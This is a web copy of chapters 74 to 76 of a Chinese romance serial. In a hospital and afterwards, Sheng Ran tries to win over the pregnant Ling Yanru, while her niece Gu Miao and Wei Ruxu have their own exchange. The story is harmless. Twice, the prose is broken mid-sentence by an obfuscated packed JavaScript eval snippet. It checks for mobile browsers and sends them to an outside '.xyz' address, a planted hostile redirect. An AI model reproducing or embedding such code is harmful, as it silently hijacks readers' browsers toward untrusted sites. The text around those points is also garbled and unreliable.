盛然从善如流,往后退了几步,站在走廊扶着窗台往外看,透过半开的窗户呼吸了一口新鲜空气,从上往下俯视着医院的大院,禁不住勾起嘴角微笑。 说来也奇怪,昨晚他提心吊胆没睡着,趴在病床边上,一夜扭过来扭过去换了好几个姿势,现在其实有点腰酸背疼,但心情真是无比舒爽,有一种从未拥有过的幸福和满足。 片刻后,凌晏如扶着墙小心翼翼从洗手间出来,一次性拖鞋不防滑,她怕自己再摔倒,这次分外当心。 刚听见她的脚步,盛然就转过身来,她还没来得及反对,就又被盛然抱在了怀里。 路过的两个小护士见他俩这样,忍俊不禁,捂着嘴巴笑着离开,凌晏如顿时不好意思了,拍拍盛然的肩膀:“放我下来,也没几步路。” 盛然才不管,大踏步往前走:“要不是女厕我进不去,一步都不让你落地。” “得了吧你。”凌晏如从没被别的男人这样疼过,前夫也没有,这感觉又甜蜜又窝心,但嘴上还是不留情,“上厕所呢,不让我落地,你还想给我把尿不成。” 盛然面色一滞,脸上蜜色皮肤有涨成猪肝色的趋势:“快别说了,我都有画面了。” 他边走边想,顾助理平时那虎劲儿是从她小姨这边遗传来的吧?! 将凌晏如安顿好,盛然披上外套,跑下楼去食堂给她买了早点回来,鸡蛋羹一碗,小米粥一碗,瘦肉炒芥兰一份,馒头一个,还有份水果沙拉,华丽地摆满了整个床头柜。 凌晏如瞪大了眼:“你养猪呢?” “瞧你说的,你要是猪,也是世界上最可爱的小猪。”盛然捏捏她的鼻子,宠溺地说。 “你是土味情话成的精吧?”凌晏如翻了个白眼,“咱俩对半分。” 盛然摇头:“你现在得补充两个人的营养,鸡蛋补蛋白质,瘦肉补铁,水果补维生素。吃不完不要紧,本来也没打算让你都吃,每样吃一点,均衡,我吃剩下的。” 凌晏如也不是那磨磨唧唧的人,正好也饿了,不跟他废话。正要伸手拿鸡蛋羹,谁知盛然抢先端了起来,用小勺舀了半勺,伸向她的嘴:“来,啊……” 凌晏如冷冷地看着他,在这几乎能达到绝对零度的目光下,盛然也知道自己殷勤得有点过分了,讪讪收回手,把勺子放回快餐盒里,鸡蛋羹递回她手上,小声说:“自己端着吃,别洒了。” 接下来就是无声的吃饭时间,凌晏如吃半碗鸡蛋羹,盛然就把瘦肉炒芥兰递过去,让她多吃点菜,另一只手接过剩下的鸡蛋羹,他狼吞虎咽打扫战场,其他几样也是如此往复。 凌晏如心里明白,那是他怕自己一样吃得太多,吃不下别的,倒也顺了他的心意,像只小羊羔一样乖乖听话,见他肯吃自己剩下的东西,心头仍是一阵暖意。 盛然此刻能照顾凌晏如,内心躁动不安亢奋得紧,所以才会有种种奇怪而又弱智的举动,他自己也知道,怕是在凌晏如面前他那稳重大方的人设要崩塌了,但他不在乎,反正都要坦诚相见,人设不人设的不重要。 吃完早饭,两个人都看起来愉悦而又满足,等一会儿医生过来检查完应该就可以走了。趁气氛正好,盛然迫不及待地想要剖白内心。 “晏如,”盛然目光灼灼地看着她,“我们……” 凌晏如脸上挂着笑意打断他,声音极其理性:“不行。” 75. 第七十五章 谈判高手 掏心窝的话还来得及没说呢,就被人举牌反对,盛然有点委屈。 “你好歹听我把话说完。”他突然觉得紧张,口干舌燥,本能地提起暖瓶往他昨晚临时买的两个杯子里倒水,想掩饰自己因为出师不利而产生的紧张心情。 凌晏如叹了口气:“我知道你想说什么,不可能的事儿,何必再让你多费口舌呢。” 其实她知道,自己现在心思不稳,是怕被他真的说动心。 “你只知道我的目的,但并不知道我的理由。”盛然执着地说,“不能不经审讯就直接给我判刑吧,总得给我个为自己辩护的机会。” 面对他这样的拳拳诚意,凌晏如确实不忍心了,不是特别坚定地说:“就算听了你的理由又怎样呢?原本咱俩就没可能,何况现在我决定把孩子留下,这种情况我更不能……” “拖累我?”盛然截住她的话,原本狂跳的心在他的刻意控制下渐渐平稳下来,他决心不把她当做自己喜欢的人,而当做一个谈判对象,把狂乱肆意的情感暂时抽离出来,才能认真地进行这场有关他俩之间关系的“谈判”。 凌晏如定定地看着他,接也不是,不接也不是。她不认为自己带着孩子会成为谁的包袱,因为她已经做好准备去迎接这样新的人生,而她也相信自己有能力做好这件事。 可按照普世的眼光来看,她仿佛确实又是个拖累,如果没有她和孩子的存在,盛然可以找到更合适他的女人,拥有属于他自己的骨血。 这其实也是她拒绝盛然的主要原因,只不过凌晏如觉得,如果她这么承认了,又好像是对自己不公平,于是抿着嘴不答话。 盛然把自己糟乱的头发往后捋了捋,露出额头,显得十分精神,又成了那个沉着应变的客户副总监,他诚恳地说:“晏如,对我来说,这件事并没带来任何困扰,我之所以这段时间没有联系你,是觉得如果我太过着急地找你说出我的心意,你会认为我是一时冲动。现在一个多星期过去了,我想得更清楚,原本的想法也没有改变,你也不能拿这个理由拒绝我。” 凌晏如无奈:“之前你还没这么用力过猛,还说做朋友什么的,怎么现在反而绷不住了?” “你现在需要人照顾,我没耐心再等了。”盛然看着她依旧有些苍白的脸孔,连她的一声咳嗽都牵动他的心弦,“我不能眼睁睁看你受苦,却连伸手的资格都没有。晏如,我知道你很坚强,但你不能否认,有些事一个人是做不来的,像顾妙、魏如栩这样的猴崽子,他们什么都不懂,关键时刻根本靠不住。” “这是个意外,以后我会注意,不会再出现这种情况。”凌晏如有气无力地争辩,“你行行好,不要咒我。” “都是成年人,面对现实吧,引用网上一句被人说滥了的话,‘你永远不知道明天和意外哪个会先来’,何必自欺欺人呢?你自己的情况自己也清楚,高龄产妇,又是意外怀孕,先前没有做好准备,接下来可能每一步都会很凶险。既然你打算要这个孩子,就更得好好保重,你总不希望它先天不足吧?” 盛然说得在理,不管是不是心理年龄永远十八,年纪就在那里骗不了人,何况原本她生育的可能性就不大,现在怀上孩子,肯定也不能像那些身体自然健康的孕妇。 而且怀孕两个月了她才知道,先前她没忌过口,喝酒,偶尔写作还会抽烟,再加上因为离婚而压抑的心情,都会对胎儿的成长发育造成影响,接下来真的每走一步都要谨慎。 本来就担心着呢,这人又总往病灶上捅,凌晏如有点烦躁:“怎么突然懂这么多,特意去查了?” “这是常识,还用查吗——别岔开话题。”盛然端起自己的杯子喝了口水,发觉不烫了,把另一个杯子递给凌晏如,她顺从地接了过去,轻轻抿了抿,湿润了一下干燥的嘴唇。 “你需要照顾,我愿意照顾你,抛开感情不谈,你也没理由拒绝我的帮助。”盛然看着她喝了半杯水,伸手把杯子接了过来,“你何苦把我推开呢?” 凌晏如的病床靠窗,那半边没有拉帘子,她向外看着,朝阳把外面的树叶照得金灿灿的,充满了生机和活力,阳光从窗户溜进来,洒在她被子上一缕金光,仿佛是偷偷给她送来的惊喜。 “不是的。”凌晏如伸出手去,似乎想要抓住那道光,可光又怎么可能被她攥在手里呢,她抓了几下,不过是虚空,“别抛开感情不谈,这事儿怎么可能抛开感情。那好,我雇你当我的保镖,当我的保姆,给你发工资,我心安理得了,你能接受得了吗?” “你这是诡辩。”盛然按住她那想要抓住光的手,把她五指摊开,放在光线下,一道金光就这么出现在她手心里,“我刚刚说的只是第一个论据,又不是真的要剔除感情,感情是我想这么做的原因,是我的内在驱动力。‘山不来就我,我便去就山’,我不需要你做什么,只要你站在原地允许我过来就行了。” 凌晏如在心里想,真霸道,还把自己说得那么楚楚可怜。 盛然看她默不作声,继续道:“晏如,活得太倔了,伤人伤己。适当的时候自私一点,正好你需要,正好我愿意给,你何苦坚持那虚无缥缈的原则呢?” “你愿意给——愿意多久呢?现在愿意,万一以后不愿意了呢?”凌晏如看着他的眼睛,突然觉得自己有点可怜,那眼里的温情她想要,却怕留不住,贸然接受了,被他驯化了,以后她就找不回独立生活的勇气了,“当年我前夫也不在乎我不能生育,可他还是找了别人,为了孩子跟我离婚。没有什么会永恒不变,感情更是,这就是人心。” 见盛然嚅动嘴唇又要说话,凌晏如没给他开口的机会,继续道:“你难道不想娶一个年轻漂亮的女人,生一个属于自己的孩子吗?你知道我是高龄产妇,也知道我不容易怀孕,万一这辈子我只能生这一个呢?即便你能接受,你家人能接受吗?你就没想过,将来会后悔吗?” 如果不是真的找不到合理的理由,凌晏如不想跟他说这些。这些事实是她失败的过往,是她折翼的自尊,是她不愿显露在人前的伤口。她并非像顾妙那样怕什么东西都不长久,而是觉得长久稳定的关系,是建立在对等的基础上的。 现在情况如她,最适合的伴侣应该是一个同样离婚带娃的男人,有过类似的伤痕和经历,有着同样的包袱,大家相互取暖,相依为命。 她不想奢求什么痴心永恒的爱情,只想要一段稳定的生活。可盛然不一样,他是想要轰轰烈烈爱一场的,这也许是她给不了的东西。 盛然静静听着她的话,英俊的面容像是被杰出雕塑师刻下的那样,眉峰凌厉,眼神炽热,带着咄咄逼人的深情:“我知道感情易变,这些年来我还没有过什么长期的恋情,相信我,这我比你更明白。你刚刚所说的那些,都是感情水到渠成后才会想要拥有的东西,并不是我寻找感情的原因,别本末倒置。” “至于别的——爱屋及乌这个词你该懂吧?我想用不着我解释。”盛然坐着有点累,他站起身来,活动着长腿,在病床前小幅度地踱着步,“我相信人与人之前关系的维系是靠感情,不是靠血缘。我家里人那边也没有这么狭隘,这点你不用担心。” 虽然说这话的时候他还是有点惴惴不安,毕竟他母亲郝老太太也是一块铁板,该怎么熔化估计还得费一番功夫,可这会儿他正在打爱情攻坚战,绝不能怂,要把一切有利牌面都打出来。 凌晏如被他说得有点晕,疲惫地低头捏着眉心:“我怎么觉得被你带沟里去了?” 盛然冲她一笑:“晏如,你至少是喜欢我的,对不对?” 这个问题让凌晏如有点措手不及,承认吧,就等于又被下了一城,否认吧,她突然觉得这个谎言有点难以出口。 然而就是这么几秒钟的愣怔,盛然已经得到了他想要的答案,弯着眼睛笑了笑,笑得令凌晏如心头发紧。 糟糕,这人怎么回事,今天笑得这么风骚,凌晏如不能淡定,伸手挡住眼:“别笑了!” 盛然并不恼火,因为他知道自己已经占据了这场“谈判”的有利地位,从善如流地收起了笑容,坐在病床前,眼神真挚地看着她:“晏如,咱们都是有过经历的人,不会对爱情抱有虚无缥缈的幻想。我不会对你承诺永不变心,说了你也不会信。但我相信,我们会为了维护一段稳定真挚的感情而努力。我们要的是生活中点点滴滴汇聚起来的感情,而不是脱离了生活的感情,你说对吗?” 鬼使神差地,凌晏如点了点头,闷声不响。 “生活充满变数,谁也不能预知未来,但我们得敢于尝试。你我互相喜欢,对彼此什么情况也心知肚明,为什么不能在一起?”盛然握住她的手,“别活得这么紧绷,给我们一个机会。” “我怕……”凌晏如犹豫地吐出一句话,“我怕耽误你,怕你的付出将来全都落了空。” “你这想法从根儿上就不对。”盛然摇摇头:“世界上没有完全无私的善举,我对你付出的时候,也正好满足了我的奉献欲,我沉浸在我的高尚人格里喜不自胜,所以你不用对我感到亏欠。何况我喜欢你,为你付出并不图什么回报。” 凌晏如一声叹息,这人真是奉献型人格,当初的判断果然没错。 还长着一张会谈判的嘴,这么会说,句句戳人心窝子,把死皮赖脸说得那么高风亮节。 盛然觑着她的表情,试探地问:“所以……现在能不能给我这个机会?” “不知道。”凌晏如老老实实地说,“你说得我脑子里乱七八糟的,不知道该怎么思考。有些甜言蜜语确实让人动心,有些话却听起来怪怪的莫名让人不爽。我得仔细想想。” 盛然:“……” 这一番功夫难道都白费了么?! 他咬牙切齿,很想把凌晏如的心剖开看看,那里边是不是住着个DairyQueen。 盛然还想补充什么,却听见医生护士们推门进来的声音,果然他们直接挑帘进来,要给凌晏如做检查,不由分说把盛然赶了出去。 刚结束一场“谈判”,结果还要“延期宣判”,盛然在病房里待不住,干脆去走廊上等着,惦记着凌晏如的检查结果和他自己的爱情命运,着实有点焦躁不安。 隔壁病床的一个大哥拎着饭盒出来,看见盛然站在窗边无助的身影,笑了笑冲他打了个招呼:“别担心。” 大哥看起来四十多岁,穿着件土黄色的夹克,里面是灰色横条纹的polo衫,大概是超市几十块钱一件的那种,从衣着判断,跟盛然不是同一个层次,人看起来耿直淳朴,倒是个开朗的性格。 盛然以为他说的是凌晏如的检查情况,礼貌地笑笑,对他点点头。 谁知这大哥没走,往盛然身边走了一步,入侵了他的安全距离,小声说:“刚才你俩说的话我都听见了。” 听了这话盛然眉头一皱,感觉隐私被人窥探,立刻向旁边撤了一步。他也知道一道帘子不隔音,装没听见是基本礼仪,大哥这是唱的哪一出? 他正思量着对方的用意,那大哥开了口:“你前边说得挺好,连我听着都被感动了。毁就毁在最后一句上,什么叫对人家付出的时候满足了你的奉献欲,是人话吗?就跟人家等着你施舍感情似的。” “我没……” “知道你没那个意思,就是想让她接受你的照顾不用内疚。”大哥说,“要说你们文化人,说话就是拐来拐去,不能直接点么?你就跟她说,喜欢她,跟她在一起过日子觉得带劲,不就完了?两人搭伙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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顾妙:“……” 这话听着像认错么! “行了行了!”凌晏如刚刚被盛然搞得脑袋发晕,现在又被他俩吵得头疼,“你俩别整得跟七世怨侣似的行么,别人围观起来有点费劲。” 魏如栩成心跟顾妙逗,哪会跟她真吵。就顾妙起床困难户,在起床气没消下去之前遇神杀神,遇佛杀佛,现在终于找回理智,感觉到自己好像对老板有那么一丢丢放肆,赶紧把自己位置摆正。 “那啥……小姨,你吃饱了么?老板做的早餐挺好吃的,你和盛总再吃两口。”顾妙也知道没啥用,但仍旧牵强地多嘴问了句,很没有诚意地指了指手里的塑料袋。 凌晏如有气无力地摆摆手:“快撑死了。如栩,谢谢你哈,心意我领了。麻烦两位男士回避一下,我要换衣服回家。” 魏如栩赶紧拉了一把在旁边神游太虚的盛然,两人挑开帘子出去,走出病房。 “想什么呢盛总?”魏如栩偏头看着他,“心不在焉的。” 他自是不知道刚刚发生了什么,此刻盛然也不好意思跟他说,闷闷地垂着头:“啊,没什么,可能没睡好吧。” “谢谢你昨晚照顾小姨,如果不是顾妙的情况不合适,确实该她留下来的。”魏如栩打量着盛然略显懊丧的表情,不知道他是不是再次被凌晏如拒绝了才这样。同时考虑到不知他心意到底如何,才对他态度有所疏离。 盛然诧异地看了他一眼:“谢什么,我照顾她不是应该的么。” 魏如栩微微弯起眼角:“怎么说?” “什么怎么说?”刚刚过去的一个小时,盛然心情就像坐了过山车,七上八下外带鹞子翻身,肾上腺素和荷尔蒙轮番失调,此刻还没从沮丧中回过神来,迎面便被魏如栩这明显的质问糊了一脸,态度着实好不了,“照顾我喜欢的人,需要什么理由?” “你对小姨到底是什么想法?”魏如栩也不跟他兜圈子,明着问。 盛然抹了把脸,长叹口气,把自己目前乱七八糟的心绪整理了一番,想起刚才病房大哥说的话,于是也说得简单直白:“别说‘想法’这么难听,我就是喜欢她,想和她在一起。我也不在乎孩子不孩子的,我喜欢她的一切,就这么简单。” 他的语气明显缓和了不少,魏如栩却似乎并不打算退让,反而有些咄咄逼人:“你跟小姨才认识多久,我不信你对她感情能这么深,深到可以不计较这些事。你想清楚没有?别今天说喜欢就守在她身边,明天不喜欢了拍拍屁股走人,所有的伤害都得她自己承担!” “你想我怎么样?写保证书?保证一辈子永不变心?”盛然压着火气,浓眉皱了起来,“魏如栩,问这种问题你不觉得幼稚吗?” 是有点幼稚,魏如栩琢磨了一下,即便盛然当真这么说,他确实也不太会相信。可不这么问,还能怎么问呢? “你就不能控制一下,别逼她这么紧?”魏如栩忧心忡忡,“她现在过得已经很不容易了。” “就是知道她不容易,我才着急。”盛然一手搭在魏如栩的肩膀上,重重一压:“你担心晏如我知道,想多问两句无可厚非。都是男人,有些事不用废话,也别跟我提什么认识多久——你跟顾妙才认识多久?昨天她不过是被带着跟客户唱个歌,就让你担心得魂儿都没了,你又怎么解释你的感情?!” “没法解释。”魏如栩垂着眼。 盛然笑了笑:“能控制住?” “不能。”魏如栩顿了一下,补充一句,“也不想。” 病房的门动了一下,两人看过去,没见有人出来,倒是听见凌晏如凄厉地一声“哎哟”! 76. 第七十六章 渗透 盛然顿时变色,跨过走廊一步拉开门,却见顾妙扶着凌晏如,一脸歉意:“很疼吗?对不起啊……” “怎么了?”盛然拉过凌晏如一通打量,心都快从喉咙里跳出来了,转身对魏如栩喊,“快叫大夫!” “不用!如栩你给我回来!”凌晏如疼得龇牙咧嘴,弯腰捂着脚面,“叫妙妙踩了一脚,这劲儿大的哟……行了咱们走吧,别在这丢人现眼。” 周围的病人倒也见怪不怪,都善意地一笑,各忙各的。凌晏如还没反应过来,就又被盛然打横抱起来,魏如栩眼疾手快地拉开门让他们出去,再给了顾妙一个眼神,让她跟上,自己最后一个离开。 凌晏如是实在不想让盛然抱了,她个子也不矮,知道自己挺沉的,再说走廊上来来去去这么多人,大家都看着,实在太难为情。 “哎,我说,大哥,你饶了我吧,让我下来自己走,就踩了一下,现在都不疼了。”凌晏如一手搭着盛然的脖子,下意识地揪着他后颈的衣领。 盛然不为所动,目不斜视地走着:“不行。” “我可不是担心你累,是怕你把我给摔了。”凌晏如的声音听起来怪紧张的。 “你放心吧,绝对摔不了你。”盛然微微侧头,瞥了她一眼,“我臂力和腰力都很好。” 这人像是在炫耀什么。凌晏如不知道怎么接话,闭上嘴,不再做无谓的抵抗,老这样怪矫情的。 魏如栩将门轻轻关好,几步追上顾妙,很自然地从她手里接过装着凌晏如衣物和杂物的帆布袋,顺便问了顾妙一句:“刚刚怎么踩着小姨的脚了?” 顾妙垂着头走路,盯着自己今天穿的布洛克鞋,咕哝着:“昂,不小心。” 她确实是不小心,原本在病房里她走在前边想给凌晏如开门,谁知门拉开了一条缝,就听见盛然问魏如栩怎么解释他的感情,以及他能不能控制得住。 听到魏如栩那句“不能,也不想”,顾妙心中小鹿一头撞了南墙,她一紧张,松开门,往后退了一步,就结结实实踩在了凌晏如的脚面上,吓得她匆忙卸力,现在知道凌晏如没事,她才意识到自己好像是扭到了脚。 那句话就像重锤砸在她天灵盖上似的,震得她头晕目眩,茫然不知所措,忍着疼,深一脚浅一脚地走着,脑子里也没个想法。 她知道魏如栩喜欢自己,又任性地不让他说,总抱着幻想,希望过不了一段时间他这股新鲜劲儿过去了就没事了。可第一次这么近距离听到他说这感情“没法解释”、“不能”也“不想”控制,已经算是一句直接的告白了。 可这话不是对着她说的,她不能拒绝或者接受,也幸好这话不是对她说的,她也不用做出反应,像以前那样装傻就行了。 只是这傻装得她于心有愧,又偏偏不知道做什么才好。 接受是不可能接受的,她没那个勇气。 拒绝更不会了,人家又没说什么,她没理由谈这事儿,况且……顾妙觉得,自己似乎很喜欢现在这样,暧昧着,偷偷宠着他,同时也偷偷享受他的宠。 不谈爱,不谈喜欢,不谈那些让人觉得沉重的话题,就这样轻松地相互温暖着,甚至也不用谈以后。 原谅我鼠目寸光吧,我没有力气想未来,想到进入倒数计时的分离,我就心疼得没办法再想下去了。 顾妙觉得自己就是个十足的渣女,只要好的,不要坏的,还不想负责任。 但同时她也决定,一旦魏如栩身边出现合适的女孩,她就是心碎成八瓣儿,难过到脑浆蒸发,也得让自己消失。 咦,这貌似是个好主意,与其等魏如栩走了之后她难过,不如她主动选择先离开。 魏如栩觉得她突然默不作声有点奇怪,不可控制地疑心刚刚她是不是听到了他跟盛然的对话。 他原本并不爱跟别人聊心事,偶尔谈下感受多半都是另有目的,比方说为了谈事做铺垫什么的。可他对顾妙那股呼之欲出的感情无处诉说,搞得他如鲠在喉,这回跟盛然说起感情,魏如栩像是好不容易找到了个突破口,痛快表达,心头也爽利了不少。 此时他也并不在意顾妙到底听没听见,反正以她的性格大概率会装没听见,如果她不装了,敢跟他正面谈一谈,那倒也是他的机会。 魏如栩偷偷瞧着顾妙,注意到她走路时上下起伏的幅度不太对,特意放慢步伐,慢慢落到她身后观察她走路,很快就发现了问题。这丫头不仅灵魂出窍完全没有意识到身边少了一个人,还明显有点一瘸一拐。 “脚怎么了?”魏如栩追上顾妙,“是不是刚刚踩小姨的脚,你自己扭到了?” “你怎么知道——我警告你,别再抱我了!”顾妙猛地向旁边躲了几步,跟魏如栩拉开了一米半的距离,做出了防御姿态,小声嘟囔,“怎么一个个的都爱抱人。” 路过的人“唰”地向他们看过来,看魏如栩的眼神就像在看一个臭流氓。 “……”魏如栩露出一个尴尬的微笑,“你想多了,我没那个打算,现在手臂还酸呢。以前打篮球踩别人自己扭到脚是常事,我当然知道。疼得厉害吗?趁着还在医院,要不要去看看。” 顾妙见他靠过来,还是有点想躲:“这点小问题找什么大夫,还不见得能挂得上号。别忘了我也运动员出身,对付这个小菜一碟,自己回家搞定。” “那给我看看。”魏如栩不放心,盯着顾妙的脚腕。 “大庭广众的,看什么看?” “看脚踝,都不用脱鞋,有什么不好意思的?” “你看盛总和小姨走得都不见人影了,快去追他们。” “追什么追,咱们车都没停一起,一会儿电话联系不就行了。”魏如栩坚持,“速度给我看一眼,看了我就放心了。” 顾妙没办法,靠着墙边弯下腰,把袜筒推下去,露出脚踝,果然红了一大块,还鼓起了一个包。 她一个夏天都没怎么穿凉鞋,脚腕以下在运动鞋里捂得白白的,现在红一块十分明显。魏如栩蹲在旁边凝神看着,目光专注,像是在端详什么瓷器,倒让顾妙有点不好意思了,把袜筒拉上来盖住。 “就肿了一块,没事。”顾妙若无其事地说,魏如栩及时伸出手去把她扶了起来。 魏如栩倒也没大惊小怪,扶着她继续走:“你家有治跌打损伤的药吗?嗨,我问的什么话,你这整天横冲直撞的,家里肯定有啦!” 顾妙没好气地白他一眼,没有争辩。 魏如栩面色如常地走着,脑海里却回想起刚刚看到顾妙脚踝的那一幕。 其实之前顾妙跟他出差穿过船鞋,她刚上班假扮大姐的时候也穿过高跟鞋,都露过脚踝,只是他先前没注意。刚刚看到时,他先是被那红肿惊了一下,接着便注意到她白皙的皮肤和纤细精致的踝骨,哪怕肿起来一块,也能看出原本有多么漂亮。 小魏总的心里突然就有点火烧火燎的,偷眼看见顾妙茫然不知的样子,对刚刚不小心的猥琐迅速做了一秒钟的自我检讨。 也不知道是不是有第六感,顾妙突然看了魏如栩一眼,对上他的眼神,又有点不好意思地把头扭开。 魏如栩不知道是不是被人看透了刚才的不正之心,顿时有点心虚,试探地问,“看我干嘛?” “……没什么。”顾妙低着头,耳朵红了。 魏如栩怔了怔,突然笑了出来。 顾妙郁闷地看着他,给了他一个“你是不是病得不轻”的眼神。 “不赖我……哈哈!”魏如栩笑着说,“想起你脚肿成那样,有点像马蹄子。” 他真不是故意的,为了让自己回归正路,强行把邪念往别的方向联想,就想到了马蹄。 顾妙哪知道他心里这些弯弯绕,原本她害羞就是觉得自己脚腕不够好看,突然暴露在喜欢的人面前,有那么一丢丢不好意思,这下魏如栩竟然公开嘲笑,她立刻恼羞成怒。 “马蹄子能把你踹出三米远,你要不要试试?”生气就顾不上害羞了,顾妙找回了彪悍的自我。 魏如栩做捂头状:“我错了,女侠饶命!” 担心自己体力不支,在凌晏如面前丢脸,盛然走得很快,此时他已经抱着她进了门诊楼外面的露天停车场,找到了自己的车,才把凌晏如放下。 凌晏如四下张望:“咱把妙妙和如栩都甩没影了。” “又不是同一辆车,你给他们发微信,咱们回去见。”盛然打开副驾驶车门,正想把凌晏如往车上扶,看到那染血的车坐垫,迅速抓起来往后座扔。 但凌晏如还是看见了,血液干涸后变成了巧克力色,在那米色的坐垫上显得分外狰狞。 “抱歉……弄脏了你的车。” “这有什么,本来也打算换了。别胡乱道歉。”盛然往驾驶座钻,“你先等会儿,我把座位加热了你再上来。” 凌晏如扶着副驾驶车座看着他:“没必要吧,我哪这么娇气。” “不是你娇气,是宝宝娇气。”盛然无奈,“屁股不能受凉。我说你也太大大咧咧了吧,到底我是孕妇你是孕妇?” “你孕一个给我看看?”凌晏如抱着胳膊,促狭地笑,那笑容好看极了,像是明亮的光,又像是娇艳的花,盛然看呆了几秒。 凌晏如注意到了他的眼神,扭头在后视镜里照了照,把自己给吓了一跳,心想镜子里的鬼是谁?! 早上他俩用临时买的牙刷牙膏刷了牙,盛然还非不让她下床,买了湿纸巾给她擦了把脸,现在镜子里的她苍白又憔悴,皮肤的瑕疵在日光的照耀下分外明显,头发凌乱,虽然自带一种慵懒气质吧,但没化妆的样子跟想象中的自己差了十岁,比实际年龄还要老五岁。 凌晏如哀嚎一声,捂上脸,一手越过副驾驶座去挡盛然的眼:“从现在到家,你不能看我。” 盛然笑着拉住她的手:“挡什么挡,又不是没见过你不化妆的样子。” “那会儿也不是现在这样。”凌晏如仍旧捂着脸,内心在咆哮,“我的孕妇光环呢?不是说孕妇浑身都在发光吗?” 盛然摸摸座位,觉得已经热乎了,便下车到副驾驶一侧,把凌晏如扶上车,关好门,才返回驾驶座,检查了一下她有没有系好安全带,这才放心发动汽车。 “你哪样都好看,就别担心了。怀孕期间也别化妆,想要什么护肤品我找朋友帮你买。”盛然笑笑,在后视镜里查看了下路况,倒车出了停车场,向医院外驶去。 凌晏如刚才被后视镜里自己那张脸吓得灵魂都震颤了,完全听不进去盛然这些话:“盛总你什么时候瞎的?不是瞎就是审美有问题。” “觉得你好看,我还审美有问题?”盛然冲她眨了眨眼。 “觉得现在的我好看,就是有问题。”凌晏如颇为沮丧,似乎人生中还从没这么落魄过,就连离婚那会儿她都把自己捯饬得很精神,不管内心碎成渣,外表还是要好看,那是保护色,也是盔甲。 盛然握了一下她的手:“就昨天的事儿折腾的,神仙气色也好不了。你回到家,好好洗个澡,睡一觉,再吃点好吃的,补补气血,很快就好起来了。” 他也不敢说什么“你在我心里就是最好看的”、“外表不重要,重要的是内在”这种虚头巴脑的话,拜前几任女友所赐,这种话即便是真心也不顶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459453|169685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用,没有女人能在这样的话面前安心下来,她们要的是实打实的美貌,自己看着好看、同性看了嫉妒的那种美貌。 不管是不是天生丽质,都得用化妆品来辅助。公司有美妆产品的客户,盛然负责过这个项目,前阵子出差就因为这个,后来提案通过,就交给了其他客户经理去负责。 为了做好提案,他研究过很多资料,包括女性在化妆方面的心理学。对大多数爱化妆的女性而言,化妆品跟杀毒软件和商业保险一样,贩卖的就是安全感。管你是不是熬夜、生病还是天生虚弱,粉底一涂、腮红一打,口红一抹,就是能立马改变气色,这就跟男人穿身好西装一样,提升安全感,增强自信心。 “是得补。”凌晏如听完盛然的话,幽幽地说,“我要宝宝出生的时候健康又漂亮。” 接下来她就抱着手机刷网站,想要买点补品,盛然夺过她手机:“别看了,小心晕车,回家再看。” 凌晏如觉得他说得对,便也没有反驳,自顾自地发着愣,心里开始规划以后的生活。 盛然偏头看了她一眼,想弥补先前的错误,直白地告诉她自己的心意,但看她思考的样子,又不忍心打断,觉得还是先用行动来证明,话说太多了反而显得不好,仿佛自己只会耍嘴炮似的。 昨天晚上郝老太太目睹儿子抱着一个女人上了车,晚上只给自己打了个三十秒的电话,借口临时要开会,告知今晚不回去了不用等他,她更坚定了那个女人就是盛然之前提过的那个。 可惜晚上光线暗,没看清那个女人的脸。但她为什么被盛然抱上车?生病了?难道身体不好?健康有问题也绝对不行! 这么想着,凌晏如在郝老太太心里又被减了二十分,剩下没多少了。 九点半,郝老太太拉着小车去菜市场买菜,刚从单元楼下走到小区大路上,就看到盛然的车从大门口开了进来。 电光石火间,郝老太太往树后一躲,看着盛然停到楼边的停车位上,下车,从副驾驶牵下来一个面有病容的女人。 就是她没错了!郝老太太为自己的机智点赞,昨晚没看清脸,今天一定得记住她的模样。 盛然拉着凌晏如往她单元楼的方向走,完全没注意自己的亲妈鬼鬼祟祟跟在后面。 郝老太太也不管光天化日她这伸头露脑的行为会不会引起别人的怀疑,她跟两步就往树后一躲,盯梢态度十分谨慎,不恋战不贪功,这一次仅以记住凌晏如的脸为主要目标,于是跟到凌晏如楼下她就果断停住了脚步。 作为一名睿智的母亲,她断然不会做出直接找上门去闹的泼妇行径。从盛然对那个女人小心翼翼的态度她就可以判断出,自家儿子对人家可谓是死心塌地,如果公开闹翻,大概率她要付出赔上一个儿子的代价。 而且郝老太太也很明事理,吵架什么的太丢脸,就算不为着自己的名声,也得考虑对儿子和孙女的影响。所以她决定,有机会的话跟这个女人在小区里制造偶遇,慢慢接触,先了解对方,这样才能知己知彼,百战百胜。 盛然陪着凌晏如回到家,才发现顾妙和魏如栩已经到了。俩人手忙脚乱地在整理房间,避免凌晏如回来看到家里乱成一团,再给气出个好歹。 见到这副局面,盛然先把凌晏如扶到沙发上坐好,谨慎地问:“晏如,我帮你请个钟点工怎么样?每天来家里打扫卫生,帮你做做饭。这几个月你不宜乱动,万一再出什么事就不好了。” 他担心凌晏如注意隐私,不太希望有陌生人来家里,怕她不同意。谁知凌晏如也被昨天的事吓出了心理阴影,觉得家里多个帮忙的人并没什么不好,于是爽快点头:“行,人你来找,钱我来付。” 盛然知道凌晏如目前不差钱,也不想跟她争着付账,以免又触动了她的逆鳞。只要她肯让他帮忙做事,他就觉得非常开心了,同时还能以这种方式慢慢地渗透进她的生活,也算他追妻战略的第一步。 